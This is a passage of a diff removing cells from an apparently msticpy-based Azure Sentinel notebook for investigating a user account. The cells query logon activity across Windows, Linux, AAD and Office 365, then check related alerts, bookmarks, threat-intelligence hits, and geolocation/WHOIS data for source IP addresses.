.list_logon_attempts_by_account(**acct_query_params(),\n", - " add_query_items=summarize_clause)\n", - " )\n", - "\n", - "md(\"Searching for Linux logon activity...\")\n", - "# Linux host\n", - "summarize_clause = \"\"\"\n", - "| summarize arg_max(TimeGenerated, *) by LogonType, SourceIP, Computer, LogonResult\"\"\"\n", - "\n", - "linux_logon_df = (qry_prov.LinuxSyslog\n", - " .list_logons_for_account(**acct_query_params(),\n", - " add_query_items=summarize_clause)\n", - " )\n", - "\n", - "rec_count = (\n", - " len(aad_signin_df) + len(azure_activity_df) \n", - " + len(o365_activity_df) + len(win_logon_df) \n", - " + len(linux_logon_df)\n", - ")\n", - "md(f\"Found {rec_count} records...\")\n", - "md(f\" {len(aad_signin_df)} records in AAD\")\n", - "md(f\" {len(azure_activity_df)} records in Azure Activity\")\n", - "md(f\" {len(o365_activity_df)} records in Office Activity\")\n", - "md(f\" {len(win_logon_df)} records in Windows logon data\")\n", - "md(f\" {len(linux_logon_df)} records in Linux logon data\")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Display logons from account sources and choose an account to explore\n", - "If any records were found in the previous search these will be displayed in a selection list. You can filter this list to reduce the number of items shown. Unique combinations of Account name and activity source are displayed in this list. So yo may see the same account listed against multiple activity types. E.g. an entry for alex@xyz.com for Office O365Activity and alex@xyz.com for AADLogon.\n", - "\n", - "As you select each account, the records from the previous search are displayed.\n", - "\n", - "Following this selection list there is a general section (applicable to accounts from all sources) and sections that are specific to account in specific domains (Linux, Windows or Azure/Office).\n", - "\n", - "Choosing an account affects which later parts of the notebook are applicable. For example if the account chosen is from a Linux logon, only the Linux section will be applicable but Windows and AAD/Office will not. If you have multiple accounts listed you can come back and chose a different account and re-run the later parts of the notebook on each account.\n" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "from collections import namedtuple\n", - "AccountDFs = namedtuple(\"AccountDFs\", [\"linux\", \"windows\", \"aad\", \"azure\", \"o365\"])\n", - "account_dfs = AccountDFs(\n", - " linux=linux_logon_df,\n", - " windows=win_logon_df,\n", - " aad=aad_signin_df,\n", - " azure=azure_activity_df,\n", - " o365=o365_activity_df,\n", - ")\n", - "\n", - "# Combine into single data frame\n", - "\n", - "lx_df = (linux_logon_df[[\"AccountName\", \"TimeGenerated\"]]\n", - " .groupby(\"AccountName\")\n", - " .max()\n", - " .reset_index()\n", - " .assign(Source=\"LinuxHostLogon\"))\n", - "\n", - "win_df = (win_logon_df[[\"TargetUserName\", \"TimeGenerated\"]]\n", - " .groupby(\"TargetUserName\")\n", - " .max()\n", - " .reset_index()\n", - " .rename(columns={\"TargetUserName\": \"AccountName\"})\n", - " .assign(Source=\"WindowsHostLogon\"))\n", - "\n", - "o365_df = (o365_activity_df[[\"UserId\", \"TimeGenerated\"]]\n", - " .groupby(\"UserId\")\n", - " .max()\n", - " .reset_index()\n", - " .rename(columns={\"UserId\": \"AccountName\"})\n", - " .assign(Source=\"O365Activity\"))\n", - "\n", - "aad_df = (aad_signin_df[[\"UserPrincipalName\", \"TimeGenerated\"]]\n", - " .groupby(\"UserPrincipalName\")\n", - " .max()\n", - " .reset_index()\n", - " .rename(columns={\"UserPrincipalName\": \"AccountName\"})\n", - " .assign(Source=\"AADLogon\"))\n", - "\n", - "azure_df = (azure_activity_df[[\"UserPrincipalName\", \"TimeGenerated\"]]\n", - " .groupby(\"UserPrincipalName\")\n", - " .max()\n", - " .reset_index()\n", - " .rename(columns={\"UserPrincipalName\": \"AccountName\"})\n", - " .assign(Source=\"AzureActivity\"))\n", - "\n", - "\n", - "all_sources_df = pd.concat([lx_df, win_df, o365_df, aad_df, azure_df])\n", - "\n", - "\n", - "# Display the results that we've found\n", - "format_tuple = (lambda x: \n", - " (x.AccountName + \" \" + x.Source\n", - " + \" (Last activity: \" + str(x.TimeGenerated) + \")\",\n", - " x.AccountName + \" \" + x.Source))\n", - "accts_dict = {item[0]: item[1] for item in all_sources_df.apply(format_tuple, axis=1)}\n", - "\n", - "\n", - "def display_activity(selected_item):\n", - " acct, source = selected_account(selected_item)\n", - " outputs = []\n", - " title = HTML(f\"{acct} (source: {source})\")\n", - " outputs.append(title)\n", - " if source == \"LinuxHostLogon\":\n", - " outputs.append(\n", - " linux_logon_df[linux_logon_df[\"AccountName\"] == acct]\n", - " .sort_values(\"TimeGenerated\", ascending=True)\n", - " )\n", - " if source == \"WindowsHostLogon\":\n", - " outputs.append(\n", - " win_logon_df[win_logon_df[\"TargetUserName\"] == acct]\n", - " .sort_values(\"TimeGenerated\", ascending=True)\n", - " )\n", - " if source == \"AADLogon\":\n", - " outputs.append(\n", - " aad_signin_df[aad_signin_df[\"UserPrincipalName\"] == acct]\n", - " .sort_values(\"TimeGenerated\", ascending=True)\n", - " )\n", - " if source == \"AzureActivity\":\n", - " outputs.append(\n", - " azure_activity_df[azure_activity_df[\"UserPrincipalName\"] == acct]\n", - " .sort_values(\"TimeGenerated\", ascending=True)\n", - " )\n", - " if source == \"O365Activity\":\n", - " outputs.append(\n", - " o365_activity_df[o365_activity_df[\"UserId\"] == acct]\n", - " .sort_values(\"TimeGenerated\", ascending=True)\n", - " )\n", - " return outputs\n", - "\n", - "def selected_account(selected_acct):\n", - " if not selected_acct:\n", - " return \"\", \"\"\n", - " acct, source = selected_acct.split(\" \")\n", - " return acct, source\n", - "\n", - "select_acct = nbwidgets.SelectItem(\n", - " item_dict=accts_dict,\n", - " auto_display=True,\n", - " description=\"Select an account to explore\",\n", - " action=display_activity,\n", - " height=\"200px\",\n", - " width=\"100%\")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Related Alerts and Hunting Bookmarks\n", - "### Alerts\n", - "Any alerts with a matching account name are shown here. Select an alert to view the contents." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "account_name, account_source = selected_account(select_acct.value)\n", - "related_alerts = qry_prov.SecurityAlert.list_related_alerts(\n", - " **acct_query_params()\n", - ")\n", - "\n", - "def print_related_alerts(alertDict, entityType, entityName):\n", - " if len(alertDict) > 0:\n", - " md(f\"Found {len(alertDict)} different alert types related to this {entityType} (`{entityName}`)\",\n", - " \"large, bold\"\n", - " )\n", - " for (k, v) in alertDict.items():\n", - " print(f\"- {k}, # Alerts: {v}\")\n", - " else:\n", - " md(f\"No alerts for {entityType} entity `{entityName}`\")\n", - "\n", - "\n", - "if isinstance(related_alerts, pd.DataFrame) and not related_alerts.empty:\n", - " alert_items = (\n", - " related_alerts[[\"AlertName\", \"TimeGenerated\"]]\n", - " .groupby(\"AlertName\")\n", - " .TimeGenerated.agg(\"count\")\n", - " .to_dict()\n", - " )\n", - " print_related_alerts(alert_items, \"account\", account_name)\n", - " nbdisplay.display_timeline(\n", - " data=related_alerts, title=\"Alerts\", source_columns=[\"AlertName\"], height=200\n", - " )\n", - "else:\n", - " display(Markdown(\"No related alerts found.\"))\n", - "\n", - "def disp_full_alert(alert):\n", - " global related_alert\n", - " related_alert = SecurityAlert(alert)\n", - " return nbdisplay.format_alert(related_alert, show_entities=True)\n", - "\n", - "if related_alerts is not None and not related_alerts.empty:\n", - " related_alerts[\"CompromisedEntity\"] = related_alerts[\"src_accountname\"]\n", - " display(Markdown(\"### Click on alert to view details.\"))\n", - " rel_alert_select = nbwidgets.SelectAlert(\n", - " alerts=related_alerts,\n", - " action=disp_full_alert,\n", - " )\n", - " rel_alert_select.display()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Hunting/Investigation Bookmarks\n", - "Any bookmarks created that reference the selected account are shown here. Select a bookmark to view the contents." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "acct_name = acct_query_params()[\"account_name\"]\n", - "related_bkmark_df = qry_prov.AzureSentinel.list_bookmarks_for_entity(\n", - " **acct_query_params(), entity_id=acct_name\n", - ")\n", - "\n", - "def print_related_bkmk(bookmarks, entityType, entityName):\n", - " if len(bookmarks) > 0:\n", - " md(f\"Found {len(bookmarks)} different bookmarks related to this {entityType} (`{entityName}`)\",\n", - " \"large, bold\"\n", - " )\n", - " else:\n", - " md(f\"No alerts for {entityType} entity `{entityName}`\")\n", - "\n", - "\n", - "if isinstance(related_bkmark_df, pd.DataFrame) and not related_bkmark_df.empty:\n", - " bookmarks = (related_bkmark_df\n", - " .apply(lambda x: (f\"{x.BookmarkName} {x.Tags} {x.TimeGenerated}\", x.BookmarkId),\n", - " axis=1)\n", - " .tolist())\n", - " print_related_bkmk(bookmarks, \"account\", account_name)\n", - " nbdisplay.display_timeline(\n", - " data=related_bkmark_df,\n", - " title=\"Bookmarks\",\n", - " source_columns=[\"BookmarkName\", \"Tags\"], height=200\n", - " )\n", - "else:\n", - " display(Markdown(\"No related bookmarks found.\"))\n", - "\n", - "def disp_bookmark(bookmark_id):\n", - " return related_bkmark_df[related_bkmark_df[\"BookmarkId\"] == bookmark_id].T\n", - "\n", - "if related_bkmark_df is not None and not related_bkmark_df.empty:\n", - " display(Markdown(\"### Click on bookmark to view details.\"))\n", - " rel_bkmk_select = nbwidgets.SelectItem(\n", - " item_list=bookmarks,\n", - " action=disp_bookmark,\n", - " auto_display=True\n", - " )\n", - " " - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Further Investigation\n", - "Depending on the type of account (AAD or Host/Endpoint account) we can drill deeper to look at data specific to that account type.\n", - "\n", - "This cell determines which section of the notebook is applicable to the account type." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "# Function definitions used below\n", - "# This cell should be executed before continuing further.\n", - "\n", - "# WHOIS lookup function\n", - "from functools import lru_cache\n", - "from ipwhois import IPWhois\n", - "from ipaddress import ip_address\n", - "\n", - "@lru_cache(maxsize=1024)\n", - "def get_whois_info(ip_lookup, show_progress=False):\n", - " try:\n", - " ip = ip_address(ip_lookup)\n", - " except ValueError:\n", - " return \"Not an IP Address\", {}\n", - " if ip.is_private:\n", - " return \"private address\", {}\n", - " if not ip.is_global:\n", - " return \"other address\", {}\n", - " whois = IPWhois(ip)\n", - " whois_result = whois.lookup_whois()\n", - " if show_progress:\n", - " print(\".\", end=\"\")\n", - " return whois_result[\"asn_description\"], whois_result\n", - "\n", - "\n", - "ti_lookup = TILookup()\n", - "def check_ip_ti(df, ip_col):\n", - "\n", - " ip4_rgx = r\"((?:[0-9]{1,3}\\.){3}[0-9]{1,3})\"\n", - " df = (df\n", - " .assign(IP_ext=lambda x: x[ip_col].str.extract(ip4_rgx, expand=False))\n", - " .rename(columns={ip_col: ip_col + \"_orig\"})\n", - " .rename(columns={\"IP_ext\": ip_col})\n", - " )\n", - " src_ip_addrs = (df[[ip_col]]\n", - " .dropna()\n", - " .drop_duplicates()\n", - " )\n", - " md(f\"Querying TI for {len(src_ip_addrs)} indicators...\")\n", - " ti_results = ti_lookup.lookup_iocs(data=src_ip_addrs, obs_col=ip_col)\n", - " ti_results = ti_results[ti_results[\"Severity\"].isin(['warning', 'high'])]\n", - "\n", - " ti_merged_df = df.merge(ti_results, how=\"left\", left_on=ip_col, right_on=\"Ioc\")\n", - " return ti_results, ti_merged_df, src_ip_addrs\n", - "\n", - "\n", - "geo_lookup = GeoLiteLookup()\n", - "def check_geo_whois(ip_df, df, ip_col):\n", - " \n", - " ip4_rgx = r\"((?:[0-9]{1,3}\\.){3}[0-9]{1,3})\"\n", - " df = (df\n", - " .assign(IP_ext=lambda x: x[ip_col].str.extract(ip4_rgx, expand=False))\n", - " .rename(columns={ip_col: ip_col + \"_orig\"})\n", - " .rename(columns={\"IP_ext\": ip_col})\n", - " )\n", - " md(f\"Querying geolocation for {len(ip_df)} ip addresses...\")\n", - " \n", - " geo_ips = geo_lookup.lookup_ip(ip_addr_list=list(ip_df[ip_col].values))\n", - " # TODO replace\n", - " ip_dicts = [{**ent.Location.properties, \"IpAddress\": ent.Address} for ent in geo_ips[1]]\n", - " df_out = pd.DataFrame(data=ip_dicts)\n", - " geo_df = df.merge(df_out, how=\"left\", left_on=ip_col, right_on=\"IpAddress\")\n", - "\n", - " md(f\"Querying WhoIs for {len(ip_df)} ip addresses...\")\n", - " whois_df = ip_df.copy()\n", - " # Get the WhoIs results\n", - " whois_df[[\"ASNDesc\", \"WhoisResult\"]] = (\n", - " ip_df\n", - " .apply(lambda x: get_whois_info(x[ip_col], show_progress=True),\n", - " axis=1, result_type=\"expand\"))\n", - " geo_whois_df = geo_df.merge(whois_df, how=\"left\", right_on=ip_col, left_on=ip_col)\n", - " return geo_whois_df\n", - "\n", - "# Based on the account type, advice the user where to go next.\n", - "\n", - "acct, source = selected_account(select_acct.value)\n", - "md(f\"Account '{acct}'. Source is '{source}'\", \"bold, large, blue\")\n", - "\n", - "goto = lambda x: display(Markdown(f\"### For further analysis go to {x}\"))\n", - "if source == \"LinuxHostLogon\":\n", - " goto(\"go to [LinuxHostLogon](#Linux-Host)\")\n", - "if source == \"WindowsHostLogon\":\n", - " goto(\"go to [WindowsHostLogon](#Windows-Host)\")\n", - "if source in [\"AADLogon\", \"AzureActivity\", \"O365Activity\"]:\n", - " goto(\"go to [AAD/Office Account](#AAD/Office-Account)\")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Windows Host\n", - "For Windows accounts we look for the following types of data:\n", - "\n", - "- Logon Summary\n", - "- Threat Intelligence reports for logon source IP Address(es)\n", - "- Geo location and Whois lookup for logon source IP Address(es)\n", - "- Additional alerts for the hosts where the account had logged on\n", - "- Additional bookmarks for the hosts where the account had logged on" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "md(\"Fetching logon data...\")\n", - "ext_logon_status = \"| extend LogonStatus = iff(EventID == 4624, 'success', 'failed')\"\n", - "all_win_logons = (qry_prov.WindowsSecurity\n", - " .list_logon_attempts_by_account(**acct_query_params(),\n", - " add_query_items=ext_logon_status))\n", - "md(\"done\")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Host Logon Summary" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "logon_summary = (all_win_logons\n", - " .groupby(\"Computer\")\n", - " .agg(\n", - " TotalLogons=pd.NamedAgg(column=\"EventID\", aggfunc=\"count\"),\n", - " LogonResult=pd.NamedAgg(column=\"LogonStatus\", aggfunc=lambda x: x.value_counts().to_dict()),\n", - " IPAddresses=pd.NamedAgg(column=\"IpAddress\", aggfunc=lambda x: x.unique().tolist()),\n", - " LogonTypeCount=pd.NamedAgg(column=\"LogonType\", aggfunc=lambda x: x.value_counts().to_dict()),\n", - " FirstLogon=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"min\"),\n", - " LastLogon=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"max\"),\n", - " )\n", - ")\n", - "\n", - "display(logon_summary)\n", - "nbdisplay.display_timeline(data=all_win_logons,\n", - " group_by=\"IpAddress\",\n", - " source_columns=[\"Computer\", \"LogonStatus\", \"LogonType\"],\n", - " title=\"Logons\")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Threat Intelligence for logon IP Addresses\n", - "
\n", - " TI Configuration\n", - "If you have not used msticpy threat intelligence lookups before you will need to supply API keys for the \n", - "TI Providers that you want to use. Please see the section on configuring [msticpyconfig.yaml](#msticpyconfig.yaml-configuration-File)\n", - "\n", - "Then reload provider settings:\n", - "```\n", - "mylookup = TILookup()\n", - "mylookup.reload_provider_settings()\n", - "```\n", - "
" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "ti_results, all_win_logons_ti, src_ip_addrs_win = check_ip_ti(df=all_win_logons, ip_col=\"IpAddress\")\n", - "if not ti_results.empty:\n", - " md(f\"{len(ti_results)} threat intelligence hits have been \"\n", - " + \"matched on one or more source IP addresses.\", \"bold, red, large\")\n", - " md(\" You should investigate the hosts accessed from these adddresses \"\n", - " + \"(see previous cell for host name accessed by IP Address)\"\n", - " + \"the 'Entity Explorer - Windows Host' notebook\", \"bold, red\" )\n", - " md(\"Logon details for TI matches are in the `all_win_logons_ti` DataFrame\")\n", - " display(ti_results)\n", - "else:\n", - " md(\"No additional items found for logged on hosts\")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Geolocation and ownership for source logon IP addresses\n", - "We use the source IP addresses for the activity to perform and Geo-location lookup and a WhoIs lookup to try to identify the IP address owner." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "all_win_logons_geo = check_geo_whois(src_ip_addrs_win, all_win_logons, \"IpAddress\")\n", - "md(\"Geolocations and ASN Owner for account logon source IP addresses. Information only\", \"bold\")\n", - "\n", - "(all_win_logons_geo[~all_win_logons_geo[\"CountryName\"].isna()]\n", - " .groupby([\"Computer\", \"IpAddress\", \"CountryCode\",\"CountryName\", \"City\", \"ASNDesc\"])\n", - " .agg(\n", - " TotalLogons=pd.NamedAgg(column=\"EventID\", aggfunc=\"count\"),\n", - " LogonResult=pd.NamedAgg(column=\"LogonStatus\", aggfunc=lambda x: x.value_counts().to_dict()),\n", - " LogonTypeCount=pd.NamedAgg(column=\"LogonType\", aggfunc=lambda x: x.value_counts().to_dict()),\n", - " FirstLogon=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"min\"),\n", - " LastLogon=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"max\"),\n", - " )\n", - ")\n" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Additional Alerts for logged-on hosts" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "related_host_alerts = []\n", - "for host in all_win_logons[\"Computer\"].unique():\n", - " host_alerts = qry_prov.SecurityAlert.list_related_alerts(\n", - " start=acct_query_params()[\"start\"],\n", - " end=acct_query_params()[\"end\"],\n", - " host_name=host\n", - " )\n", - " related_host_alerts.append(host_alerts)\n", - " \n", - "related_host_alerts_df = pd.concat(related_host_alerts)\n", - "\n", - "# Show host alerts that were not in the Account alerts list\n", - "related_host_alerts_df = related_host_alerts_df[~related_host_alerts_df[\"SystemAlertId\"]\n", - " .isin(related_alerts[\"SystemAlertId\"])]\n", - "if not related_host_alerts_df.empty:\n", - " md(f\"{len(related_host_alerts_df)} additional alerts have been \"\n", - " + \"triggered on one or more hosts.\", \"bold, red, large\")\n", - " md(\" You should investigate these hosts using \"\n", - " + \"the 'Entity Explorer - Windows Host' notebook\", \"bold, red\" )\n", - " display(related_host_alerts_df)\n", - "else:\n", - " md(\"No additional alerts found\")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "#### Additional alerts for source IP addresses\n", - "We can also search for alerts that contain the IP addresses that were the origin of logons to the host." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "ip_list = \",\".join(list(all_win_logons[\"IpAddress\"].unique()))\n", - "related_ip_alerts_df = qry_prov.SecurityAlert.list_alerts_for_ip(\n", - " start=acct_query_params()[\"start\"],\n", - " end=acct_query_params()[\"end\"],\n", - " source_ip_list=ip_list\n", - ")\n", - "# remove Account and host alerts already seen\n", - "related_ip_alerts_df = related_ip_alerts_df[~related_ip_alerts_df[\"SystemAlertId\"]\n", - " .isin(related_alerts[\"SystemAlertId\"])]\n", - "related_ip_alerts_df = related_ip_alerts_df[~related_ip_alerts_df[\"SystemAlertId\"]\n", - " .isin(related_host_alerts_df[\"SystemAlertId\"])]\n", - "if not related_ip_alerts_df.empty:\n", - " md(f\"{len(related_ip_alerts_df)} additional alerts have been \"\n", - " + \"triggered from one or more source IPs.\", \"bold, red, large\")\n", - " md(\" You should investigate these IPs using \"\n", - " + \"the 'Entity Explorer - IP Address' notebook\", \"bold, red\" )\n", - " display(related_ip_alerts_df)\n", - "else:\n", - " md(\"No additional alerts found.\")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Additional Investigation Bookmarks for logged-on hosts" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "related_host_bkmks = []\n", - "for host in all_win_logons[\"Computer\"].unique():\n", - " host_bkmks = qry_prov.AzureSentinel.list_bookmarks_for_entity(\n", - " start=acct_query_params()[\"start\"],\n", - " end=acct_query_params()[\"end\"],\n", - " entity_id=f\"'{host}'\"\n", - " )\n", - " related_host_bkmks.append(host_bkmks)\n", - " \n", - "related_host_bkmks_df = pd.concat(related_host_bkmks)\n", - "\n", - "# Show host bookmarks that were not in the Account bookmarks list\n", - "related_host_bkmks_df = related_host_bkmks_df[~related_host_bkmks_df[\"BookmarkId\"]\n", - " .isin(related_bkmark_df[\"BookmarkId\"])]\n", - "if not related_host_bkmks_df.empty:\n", - " md(f\"{len(related_host_bkmks_df)} additional investigation bookmarks have been \"\n", - " + \"found for one or more hosts.\", \"bold, red, large\")\n", - " md(\" You should investigate these hosts using \"\n", - " + \"the 'Entity Explorer - Windows Host' notebook\", \"bold, red\" )\n", - " display(related_host_bkmks_df)\n", - "else:\n", - " md(\"No additional items found for logged on hosts\")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Linux Host\n", - "For Linux accounts we look for the following types of data:\n", - "- Logon Summary\n", - "- Threat Intelligence reports for logon source IP Address(es)\n", - "- Geo location and Whois lookup for logon source IP Address(es)\n", - "- Additional alerts for the hosts where the account had logged on\n", - "- Additional bookmarks for the hosts where the account had logged on\n" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "md(\"Fetching logon data...\")\n", - "all_lx_logons = (qry_prov.LinuxSyslog\n", - " .list_logons_for_account(**acct_query_params()))\n", - "md(\"done\")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Host Logon Summary" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "logon_summary = (all_lx_logons\n", - " .groupby(\"Computer\")\n", - " .agg(\n", - " TotalLogons=pd.NamedAgg(column=\"Computer\", aggfunc=\"count\"),\n", - " FailedLogons=pd.NamedAgg(column=\"LogonResult\", aggfunc=lambda x: x.value_counts().to_dict()),\n", - " IPAddresses=pd.NamedAgg(column=\"SourceIP\", aggfunc=lambda x: x.unique().tolist()),\n", - " LogonTypeCount=pd.NamedAgg(column=\"LogonType\", aggfunc=lambda x: x.value_counts().to_dict()),\n", - " FirstLogon=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"min\"),\n", - " LastLogon=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"max\"),\n", - " )\n", - ")\n", - "\n", - "display(logon_summary)\n", - "nbdisplay.display_timeline(data=all_lx_logons,\n", - " group_by=\"SourceIP\",\n", - " source_columns=[\"Computer\", \"LogonResult\", \"LogonType\"],\n", - " title=\"Logons\");" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Threat Intelligence for logon IP Addresses\n", - "
\n", - " TI Configuration\n", - "If you have not used msticpy threat intelligence lookups before you will need to supply API keys for the \n", - "TI Providers that you want to use. Please see the section on configuring [msticpyconfig.yaml](#msticpyconfig.yaml-configuration-File)\n", - "\n", - "Then reload provider settings:\n", - "```\n", - "mylookup = TILookup()\n", - "mylookup.reload_provider_settings()\n", - "```\n", - "
" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "ti_results_lx, all_lx_logons_ti, src_ip_addrs_lx = check_ip_ti(df=all_lx_logons, ip_col=\"SourceIP\")\n", - "\n", - "if not ti_results_lx.empty:\n", - " md(f\"{len(ti_results_lx)} threat intelligence hits have been \"\n", - " + \"matched on one or more source IP addresses.\", \"bold, red, large\")\n", - " md(\" You should investigate these hosts accessed from these adddresses \"\n", - " + \"(see previous cell for host name accessed by IP Address)\"\n", - " + \"the 'Entity Explorer - Linux Host' notebook\", \"bold, red\" )\n", - " display(ti_results_lx)\n", - "else:\n", - " md(\"No additional items found for logged on hosts\")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Geolocation and ownership for source logon IP addresses\n", - "We use the source IP addresses for the activity to perform and Geo-location lookup and a WhoIs lookup to try to identify the IP address owner." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "all_lx_logons_geo = check_geo_whois(src_ip_addrs_lx, all_lx_logons, \"SourceIP\")\n", - "\n", - "md(\"Geolocations and ASN Owner for account logon source IP addresses. Information only\", \"bold\")\n", - "\n", - "(all_lx_logons_geo[~all_lx_logons_geo[\"CountryName\"].isna()]\n", - " .groupby([\"Computer\", \"SourceIP\", \"CountryCode\",\"CountryName\", \"City\", \"ASNDesc\"])\n", - " .agg(\n", - " TotalLogons=pd.NamedAgg(column=\"SourceSystem\", aggfunc=\"count\"),\n", - " LogonResult=pd.NamedAgg(column=\"LogonResult\", aggfunc=lambda x: x.value_counts().to_dict()),\n", - " LogonTypeCount=pd.NamedAgg(column=\"LogonType\", aggfunc=lambda x: x.value_counts().to_dict()),\n", - " FirstLogon=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"min\"),\n", - " LastLogon=pd.NamedAgg(column=\"TimeGenerated\", aggfunc=\"max\"),\n", - " )\n", - ")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Additional Alerts for logged-on hosts" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "related_host_alerts = []\n", - "for host in all_lx_logons[\"Computer\"].unique():\n", - " host_alerts = qry_prov.SecurityAlert.list_related_alerts(\n", - " start=acct_query_params()[\"start\"],\n", - " end=acct_query_params()[\"end\"],\n", - " host_name=host\n", - " )\n", - " related_host_alerts.append(host_alerts)\n", - " \n", - "related_host_alerts_df = pd.concat(related_host_alerts)\n", - "\n", - "# Show host alerts that were not in the Account alerts list\n", - "related_host_alerts_df = related_host_alerts_df[~related_host_alerts_df[\"SystemAlertId\"]\n", - " .isin(related_alerts[\"SystemAlertId\"])]\n", - "if not related_host_alerts_df.empty:\n", - " md(f\"{len(related_host_alerts_df)} additional alerts have been \"\n", - " + \"triggered on one or more hosts.\", \"bold, red, large\")\n", - " md(\" You should investigate these hosts using \"\n", - " + \"the 'Entity Explorer - Linux Host' notebook\", \"bold, red\" )\n", - " display(related_host_alerts_df[['TenantId','TimeGenerated','AlertDisplayName','ConfidenceLevel','ConfidenceScore','Computer','ExtendedProperties','Entities']])\n", - "else:\n", - " md(\"No additional items found for logged on hosts\")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "#### Additional alerts for source IP addresses\n", - "We can also search for alerts that contain the IP addresses that were the origin of logons to the host." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "ip_list = \",\".join(list(all_lx_logons[\"SourceIP\"].unique()))\n", - "related_ip_alerts_df = qry_prov.SecurityAlert.list_alerts_for_ip(\n", - " start=acct_query_params()[\"start\"],\n", - " end=acct_query_params()[\"end\"],\n", - " source_ip_list=ip_list\n", - ")\n", - "# remove Account and host alerts already seen\n", - "related_ip_alerts_df = related_ip_alerts_df[~related_ip_alerts_df[\"SystemAlertId\"]\n", - " .isin(related_alerts[\"SystemAlertId\"])]\n", - "related_ip_alerts_df = related_ip_alerts_df[~related_ip_alerts_df[\"SystemAlertId\"]\n", - " .isin(related_host_alerts_df[\"SystemAlertId\"])]\n", - "if not related_ip_alerts_df.empty:\n", - " md(f\"{len(related_ip_alerts_df)} additional alerts have been \"\n", - " + \"triggered from one or more source IPs.\", \"bold, red, large\")\n", - " md(\" You should investigate these IPs using \"\n", - " + \"the 'Entity Explorer - IP Address' notebook\", \"bold, red\" )\n", - " display(related_ip_alerts_df)\n", - "else:\n", - " md(\"No additional alerts found.\")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Additional Investigation Bookmarks for logged-on hosts" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "related_host_bkmks = []\n", - "for host in all_lx_logons[\"Computer\"].unique():\n", - " host_bkmks = qry_prov.AzureSentinel.list_bookmarks_for_entity(\n", - " start=acct_query_params()[\"start\"],\n", - " end=acct_query_params()[\"end\"],\n", - " entity_id=host\n", - " )\n", - " related_host_bkmks.append(host_bkmks)\n", - " \n", - "related_host_bkmks_df = pd.concat(related_host_bkmks)\n", - "\n", - "# Show host bookmarks that were not in the Account bookmarks list\n", - "related_host_bkmks_df = related_host_bkmks_df[~related_host_bkmks_df[\"BookmarkId\"]\n", - " .isin(related_bkmark_df[\"BookmarkId\"])]\n", - "if not related_host_bkmks_df.empty:\n", - " md(f\"{len(related_host_bkmks_df)} additional investigation bookmarks have been \"\n", - " + \"found for one or more hosts.\", \"bold, red, large\")\n", - " md(\" You should investigate these hosts using \"\n", - " + \"the 'Entity Explorer - Windows Host' notebook\", \"bold, red\" )\n", - " display(related_host_bkmks_df)\n", - "else:\n", - " md(\"No additional items found for logged on hosts\")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## AAD/Office Account\n", - "For an Azure Active Directory account we look for the following data:\n", - "- AAD Sign-on activity\n", - "- Azure Activity\n", - "- Office 365 operations\n", - "- Threat intelligence reports for the client IP Address used in any of these activities\n", - "- Geo location and Whois lookup for logon source IP Address(es)\n", - "- Additional alerts for the logon source IP Address(es)" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "md(\"Fetching Azure/Office data...\")\n", - "# Fetch the 